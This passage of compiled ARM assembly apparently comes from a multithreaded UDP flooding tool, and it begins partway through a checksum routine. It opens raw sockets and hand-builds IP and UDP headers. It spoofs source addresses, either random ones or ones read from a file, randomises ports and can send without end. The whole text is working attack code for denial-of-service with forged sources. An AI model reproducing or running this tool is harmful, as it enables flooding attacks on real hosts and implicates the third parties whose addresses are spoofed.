	add	r3, r2, r3
	str	r3, [fp, #-8]
.L9:
	ldr	r3, [fp, #-8]
	lsr	r3, r3, #16
	cmp	r3, #0
	bne	.L10
	ldr	r3, [fp, #-8]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mvn	r3, r3
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
	.size	checksum, .-checksum
	.section	.rodata
	.align	2
.LC1:
	.ascii	"socket()\000"
	.align	2
.LC2:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sendto_nonroot
	.syntax unified
	.arm
	.fpu softvfp
	.type	sendto_nonroot, %function
sendto_nonroot:
	@ args = 0, pretend = 0, frame = 152
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #164
	str	r0, [fp, #-160]
	ldr	r3, .L19
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	ldr	r3, [fp, #-160]
	str	r3, [fp, #-156]
	ldr	r3, [fp, #-156]
	ldr	r3, [r3, #8]
	str	r3, [fp, #-152]
	mov	r2, #17
	mov	r1, #2
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-148]
	ldr	r3, [fp, #-148]
	cmn	r3, #1
	bne	.L13
	ldr	r0, .L19+4
	bl	perror
	mov	r3, #0
	b	.L17
.L13:
	ldr	r3, [fp, #-152]
	ldr	r3, [r3]
	mov	r2, r3
	sub	r3, fp, #144
	mov	r1, #120
	mov	r0, r3
	bl	memset
.L16:
	ldr	r3, [fp, #-152]
	ldrsb	r3, [r3, #57]
	cmp	r3, #0
	beq	.L15
	bl	rand
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-156]
	ldr	r4, [r3]
	mov	r0, r2
	bl	htons
	mov	r3, r0
	strh	r3, [r4, #2]	@ movhi
.L15:
	ldr	r3, [fp, #-152]
	ldr	r3, [r3]
	mov	r0, r3
	ldr	r3, [fp, #-156]
	ldr	r3, [r3]
	ldr	r2, [fp, #-156]
	ldr	r2, [r2, #4]
	sub	r1, fp, #144
	str	r2, [sp, #4]
	str	r3, [sp]
	mov	r3, #0
	mov	r2, r0
	ldr	r0, [fp, #-148]
	bl	sendto
	ldr	r3, [fp, #-152]
	ldrsb	r3, [r3, #55]
	cmp	r3, #0
	beq	.L16
	mov	r3, #0
.L17:
	ldr	r2, .L19
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L18
	bl	__stack_chk_fail
.L18:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L20:
	.align	2
.L19:
	.word	.LC2
	.word	.LC1
	.size	sendto_nonroot, .-sendto_nonroot
	.section	.rodata
	.align	2
.LC3:
	.ascii	"setsockopt()\000"
	.align	2
.LC4:
	.ascii	"r\000"
	.align	2
.LC5:
	.ascii	"fopen()\000"
	.align	2
.LC6:
	.ascii	"fseek()\000"
	.align	2
.LC7:
	.ascii	"ferror()\000"
	.align	2
.LC8:
	.ascii	"sendto()\000"
	.align	2
.LC9:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sendto_root
	.syntax unified
	.arm
	.fpu softvfp
	.type	sendto_root, %function
sendto_root:
	@ args = 0, pretend = 0, frame = 240
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #248
	str	r0, [fp, #-240]
	ldr	r3, .L43
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-240]
	str	r3, [fp, #-228]
	ldr	r3, [fp, #-228]
	ldr	r3, [r3, #8]
	str	r3, [fp, #-224]
	mov	r3, #0
	str	r3, [fp, #-232]
	mov	r3, #1
	str	r3, [fp, #-236]
	mov	r2, #17
	mov	r1, #3
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-220]
	ldr	r3, [fp, #-220]
	cmn	r3, #1
	bne	.L22
	ldr	r0, .L43+4
	bl	perror
	mov	r3, #0
	b	.L40
.L22:
	sub	r3, fp, #236
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #3
	mov	r1, #0
	ldr	r0, [fp, #-220]
	bl	setsockopt
	mov	r3, r0
	cmp	r3, #0
	bge	.L24
	ldr	r0, .L43+8
	bl	perror
	mov	r3, #0
	b	.L40
.L24:
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #54]
	cmp	r3, #0
	beq	.L25
	ldr	r3, [fp, #-224]
	add	r3, r3, #20
	ldr	r1, .L43+12
	mov	r0, r3
	bl	fopen
	str	r0, [fp, #-232]
	ldr	r3, [fp, #-232]
	cmp	r3, #0
	bne	.L25
	ldr	r0, .L43+16
	bl	perror
	mov	r3, #0
	b	.L40
.L25:
	mov	r3, #12
	str	r3, [fp, #-216]
	mov	r3, #8
	str	r3, [fp, #-212]
	ldr	r3, [fp, #-224]
	ldr	r3, [r3]
	ldr	r2, [fp, #-212]
	add	r3, r2, r3
	str	r3, [fp, #-208]
	mov	r3, #20
	str	r3, [fp, #-204]
	ldr	r2, [fp, #-204]
	ldr	r3, [fp, #-208]
	add	r3, r2, r3
	str	r3, [fp, #-200]
	ldr	r3, [fp, #-228]
	ldr	r3, [r3]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-180]
	ldr	r3, [fp, #-208]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-174]	@ movhi
	mov	r3, #0
	strb	r3, [fp, #-176]
	mov	r3, #17
	strb	r3, [fp, #-175]
	bl	rand
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-192]	@ movhi
	ldr	r3, [fp, #-208]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-188]	@ movhi
	ldr	r3, [fp, #-204]
	asr	r3, r3, #2
	and	r3, r3, #15
	and	r2, r3, #255
	ldrb	r3, [fp, #-172]
	and	r2, r2, #15
	bic	r3, r3, #15
	orr	r3, r2, r3
	strb	r3, [fp, #-172]
	ldrb	r3, [fp, #-172]
	bic	r3, r3, #176
	orr	r3, r3, #64
	strb	r3, [fp, #-172]
	mvn	r3, #0
	strb	r3, [fp, #-164]
	mov	r3, #0
	strb	r3, [fp, #-171]
	ldrb	r3, [fp, #-175]	@ zero_extendqisi2
	strb	r3, [fp, #-163]
	mov	r3, #0
	strh	r3, [fp, #-166]	@ movhi
	bl	rand
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-168]	@ movhi
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-170]	@ movhi
	ldr	r3, [fp, #-180]
	str	r3, [fp, #-156]
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #52]
	cmp	r3, #0
	beq	.L26
	ldr	r3, [fp, #-224]
	add	r3, r3, #4
	mov	r0, r3
	bl	inet_addr
	mov	r3, r0
	str	r3, [fp, #-184]
	ldr	r3, [fp, #-184]
	str	r3, [fp, #-160]
.L26:
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #56]
	cmp	r3, #0
	beq	.L27
	ldr	r3, [fp, #-180]
	str	r3, [fp, #-184]
	ldrh	r3, [fp, #-192]
	strh	r3, [fp, #-190]	@ movhi
	ldr	r3, [fp, #-180]
	str	r3, [fp, #-160]
	ldr	r3, [fp, #-160]
	str	r3, [fp, #-156]
.L27:
	ldr	r2, [fp, #-204]
	ldr	r3, [fp, #-216]
	add	r2, r2, r3
	ldr	r3, [fp, #-212]
	add	r3, r2, r3
	sub	r2, fp, #136
	add	r0, r2, r3
	ldr	r3, [fp, #-224]
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, #120
	bl	memset
.L37:
	mov	r3, #0
	strh	r3, [fp, #-186]	@ movhi
	mov	r3, #0
	strh	r3, [fp, #-162]	@ movhi
	sub	r2, fp, #136
	ldr	r3, [fp, #-204]
	add	r3, r2, r3
	str	r3, [fp, #-196]
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #54]
	cmp	r3, #0
	beq	.L28
	sub	r3, fp, #152
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #152
	ldr	r2, [fp, #-232]
	mov	r1, #16
	mov	r0, r3
	bl	fgets
	ldr	r0, [fp, #-232]
	bl	feof
	mov	r3, r0
	cmp	r3, #0
	beq	.L29
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #55]
	cmp	r3, #0
	bne	.L42
	mov	r2, #0
	mov	r1, #0
	ldr	r0, [fp, #-232]
	bl	fseek
	mov	r3, r0
	cmp	r3, #0
	bge	.L42
	ldr	r0, .L43+20
	bl	perror
	mov	r3, #0
	b	.L40
.L29:
	ldr	r0, [fp, #-232]
	bl	ferror
	mov	r3, r0
	cmp	r3, #0
	beq	.L28
	ldr	r0, .L43+24
	bl	perror
	ldr	r0, [fp, #-232]
	bl	clearerr
	b	.L31
.L28:
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #53]
	cmp	r3, #0
	bne	.L32
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #54]
	cmp	r3, #0
	beq	.L33
.L32:
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #54]
	cmp	r3, #0
	beq	.L34
	sub	r3, fp, #152
	mov	r0, r3
	bl	inet_addr
	mov	r3, r0
	b	.L35
.L34:
	bl	rand
	mov	r3, r0
.L35:
	str	r3, [fp, #-184]
	ldr	r3, [fp, #-184]
	str	r3, [fp, #-160]
.L33:
	ldr	r3, [fp, #-228]
	ldr	r3, [r3]
	ldrh	r3, [r3, #2]
	strh	r3, [fp, #-190]	@ movhi
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #57]
	cmp	r3, #0
	beq	.L36
	bl	rand
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-190]	@ movhi
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #56]
	cmp	r3, #0
	beq	.L36
	ldrh	r3, [fp, #-190]
	strh	r3, [fp, #-192]	@ movhi
.L36:
	ldr	r2, [fp, #-216]
	sub	r3, fp, #184
	mov	r1, r3
	ldr	r0, [fp, #-196]
	bl	memcpy
	ldr	r3, [fp, #-216]
	ldr	r2, [fp, #-196]
	add	r3, r2, r3
	ldr	r2, [fp, #-212]
	sub	r1, fp, #192
	mov	r0, r3
	bl	memcpy
	ldr	r2, [fp, #-216]
	ldr	r3, [fp, #-208]
	add	r3, r2, r3
	mov	r1, r3
	ldr	r0, [fp, #-196]
	bl	checksum
	mov	r3, r0
	strh	r3, [fp, #-186]	@ movhi
	ldr	r3, [fp, #-216]
	ldr	r2, [fp, #-196]
	add	r3, r2, r3
	ldr	r2, [fp, #-212]
	sub	r1, fp, #192
	mov	r0, r3
	bl	memcpy
	sub	r2, fp, #136
	ldr	r3, [fp, #-216]
	add	r3, r2, r3
	str	r3, [fp, #-196]
	ldr	r2, [fp, #-204]
	sub	r3, fp, #172
	mov	r1, r3
	ldr	r0, [fp, #-196]
	bl	memcpy
	ldr	r1, [fp, #-200]
	ldr	r0, [fp, #-196]
	bl	checksum
	mov	r3, r0
	strh	r3, [fp, #-162]	@ movhi
	ldr	r2, [fp, #-204]
	sub	r3, fp, #172
	mov	r1, r3
	ldr	r0, [fp, #-196]
	bl	memcpy
	ldr	r1, [fp, #-200]
	ldr	r3, [fp, #-228]
	ldr	r3, [r3]
	ldr	r2, [fp, #-228]
	ldr	r2, [r2, #4]
	str	r2, [sp, #4]
	str	r3, [sp]
	mov	r3, #0
	mov	r2, r1
	ldr	r1, [fp, #-196]
	ldr	r0, [fp, #-220]
	bl	sendto
	mov	r3, r0
	cmn	r3, #1
	bne	.L31
	ldr	r0, .L43+28
	bl	perror
	b	.L31
.L42:
	nop
.L31:
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #55]
	cmp	r3, #0
	beq	.L37
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #54]
	cmp	r3, #0
	beq	.L38
	ldr	r0, [fp, #-232]
	bl	feof
	mov	r3, r0
	cmp	r3, #0
	beq	.L37
.L38:
	ldr	r3, [fp, #-224]
	ldrsb	r3, [r3, #54]
	cmp	r3, #0
	beq	.L39
	ldr	r0, [fp, #-232]
	bl	fclose
.L39:
	mov	r3, #0
.L40:
	ldr	r2, .L43
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L41
	bl	__stack_chk_fail
.L41:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L44:
	.align	2
.L43:
	.word	.LC9
	.word	.LC1
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.size	sendto_root, .-sendto_root
	.section	.rodata
	.align	2
.LC10:
	.ascii	"Datagram data too long (max 100 bytes)\000"
	.align	2
.LC11:
	.ascii	"1p:z:f:rs:li:\000"
	.align	2
.LC12:
	.ascii	"Started thread: %d\012\000"
	.align	2
.LC13:
	.ascii	"Finished\000"
	.align	2
.LC14:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 128
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #132
	str	r0, [fp, #-136]
	str	r1, [fp, #-140]
	ldr	r3, .L70
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-120]
	mov	r3, #1
	str	r3, [fp, #-128]
	mov	r0, #0
	bl	time
	mov	r3, r0
	mov	r0, r3
	bl	srand
	sub	r3, fp, #76
	mov	r0, r3
	bl	init_option
	b	.L46
.L59:
	ldr	r3, [fp, #-116]
	cmp	r3, #49
	beq	.L47
	ldr	r3, [fp, #-116]
	cmp	r3, #49
	blt	.L48
	ldr	r3, [fp, #-116]
	cmp	r3, #122
	bgt	.L48
	ldr	r3, [fp, #-116]
	cmp	r3, #102
	blt	.L48
	ldr	r3, [fp, #-116]
	sub	r3, r3, #102
	cmp	r3, #20
	ldrls	pc, [pc, r3, asl #2]
	b	.L48
.L50:
	.word	.L56
	.word	.L48
	.word	.L48
	.word	.L55
	.word	.L48
	.word	.L48
	.word	.L54
	.word	.L48
	.word	.L48
	.word	.L48
	.word	.L53
	.word	.L48
	.word	.L52
	.word	.L51
	.word	.L48
	.word	.L48
	.word	.L48
	.word	.L48
	.word	.L48
	.word	.L48
	.word	.L49
.L47:
	mov	r3, #1
	strb	r3, [fp, #-21]
	b	.L46
.L53:
	ldr	r3, .L70+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-124]
	mov	r3, #0
	strb	r3, [fp, #-19]
	b	.L46
.L49:
	ldr	r3, .L70+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	str	r3, [fp, #-76]
	ldr	r3, [fp, #-76]
	cmp	r3, #100
	ble	.L46
	ldr	r0, .L70+8
	bl	puts
	mov	r3, #1
	b	.L68
.L56:
	ldr	r3, .L70+4
	ldr	r1, [r3]
	sub	r3, fp, #76
	add	r3, r3, #20
	mov	r2, #32
	mov	r0, r3
	bl	strncpy
	mov	r3, #0
	strb	r3, [fp, #-24]
	mov	r3, #0
	strb	r3, [fp, #-23]
	mov	r3, #1
	strb	r3, [fp, #-22]
	mov	r3, #0
	strb	r3, [fp, #-20]
	b	.L46
.L52:
	mov	r3, #0
	strb	r3, [fp, #-24]
	mov	r3, #1
	strb	r3, [fp, #-23]
	mov	r3, #0
	strb	r3, [fp, #-22]
	mov	r3, #0
	strb	r3, [fp, #-20]
	b	.L46
.L51:
	ldr	r3, .L70+4
	ldr	r1, [r3]
	sub	r3, fp, #76
	add	r3, r3, #4
	mov	r2, #16
	mov	r0, r3
	bl	strncpy
	mov	r3, #1
	strb	r3, [fp, #-24]
	mov	r3, #0
	strb	r3, [fp, #-23]
	mov	r3, #0
	strb	r3, [fp, #-22]
	mov	r3, #0
	strb	r3, [fp, #-20]
	b	.L46
.L54:
	mov	r3, #0
	strb	r3, [fp, #-24]
	mov	r3, #0
	strb	r3, [fp, #-23]
	mov	r3, #0
	strb	r3, [fp, #-22]
	mov	r3, #1
	strb	r3, [fp, #-20]
	b	.L46
.L55:
	ldr	r3, .L70+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-128]
	b	.L46
.L48:
	mov	r0, #1
	bl	exit
.L46:
	ldr	r2, .L70+12
	ldr	r1, [fp, #-140]
	ldr	r0, [fp, #-136]
	bl	getopt
	str	r0, [fp, #-116]
	ldr	r3, [fp, #-116]
	cmp	r3, #0
	bge	.L59
	ldr	r3, .L70+16
	ldr	r3, [r3]
	ldr	r2, [fp, #-136]
	sub	r3, r2, r3
	cmp	r3, #0
	ble	.L60
	ldr	r3, .L70+16
	ldr	r3, [r3]
	ldr	r2, [fp, #-136]
	sub	r3, r2, r3
	cmp	r3, #1
	ble	.L61
.L60:
	ldr	r3, [fp, #-140]
	ldr	r3, [r3]
	mov	r0, r3
	bl	banner
	b	.L62
.L61:
	ldr	r3, .L70+16
	ldr	r3, [r3]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-140]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	gethostbyname
	str	r0, [fp, #-120]
	ldr	r3, [fp, #-120]
	cmp	r3, #0
	bne	.L62
	ldr	r3, .L70+16
	ldr	r3, [r3]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-140]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	herror
	mov	r3, #1
	b	.L68
.L62:
	ldr	r3, [fp, #-120]
	ldr	r3, [r3, #8]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-92]	@ movhi
	ldr	r3, [fp, #-120]
	ldr	r3, [r3, #16]
	ldr	r1, [r3]
	ldr	r3, [fp, #-120]
	ldr	r3, [r3, #12]
	mov	r2, r3
	sub	r3, fp, #92
	add	r3, r3, #4
	mov	r0, r3
	bl	memcpy
	ldrsb	r3, [fp, #-19]
	cmp	r3, #0
	bne	.L63
	ldr	r3, [fp, #-124]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-90]	@ movhi
.L63:
	sub	r3, fp, #92
	str	r3, [fp, #-104]
	mov	r3, #16
	str	r3, [fp, #-100]
	sub	r3, fp, #76
	str	r3, [fp, #-96]
	ldrsb	r3, [fp, #-23]
	cmp	r3, #0
	bne	.L64
	ldrsb	r3, [fp, #-24]
	cmp	r3, #0
	bne	.L64
	ldrsb	r3, [fp, #-22]
	cmp	r3, #0
	bne	.L64
	ldrsb	r3, [fp, #-20]
	cmp	r3, #0
	beq	.L65
.L64:
	mov	r3, sp
	mov	r4, r3
	ldr	ip, [fp, #-128]
	sub	r3, ip, #1
	str	r3, [fp, #-112]
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #5
	orr	r3, r3, r0, lsr #27
	lsl	r2, r0, #5
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #5
	orr	r3, r3, r0, lsr #27
	lsl	r2, r0, #5
	mov	r3, ip
	lsl	r3, r3, #2
	add	r3, r3, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	mov	r3, sp
	add	r3, r3, #3
	lsr	r3, r3, #2
	lsl	r3, r3, #2
	str	r3, [fp, #-108]
.L66:
	ldr	r1, [fp, #-128]
	ldr	r0, .L70+20
	bl	printf
	ldr	r3, [fp, #-128]
	sub	r3, r3, #1
	lsl	r3, r3, #2
	ldr	r2, [fp, #-108]
	add	r0, r2, r3
	sub	r3, fp, #104
	ldr	r2, .L70+24
	mov	r1, #0
	bl	pthread_create
	ldr	r3, [fp, #-128]
	sub	r3, r3, #1
	str	r3, [fp, #-128]
	ldr	r3, [fp, #-128]
	cmp	r3, #0
	bgt	.L66
	ldr	r3, [fp, #-108]
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	pthread_join
	mov	sp, r4
	b	.L67
.L65:
	sub	r3, fp, #104
	mov	r0, r3
	bl	sendto_nonroot
.L67:
	ldr	r0, .L70+28
	bl	puts
	mov	r3, #0
.L68:
	ldr	r2, .L70
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L69
	bl	__stack_chk_fail
.L69:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L71:
	.align	2
.L70:
	.word	.LC14
	.word	optarg
	.word	.LC10
	.word	.LC11
	.word	optind
	.word	.LC12
	.word	sendto_root
	.word	.LC13
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
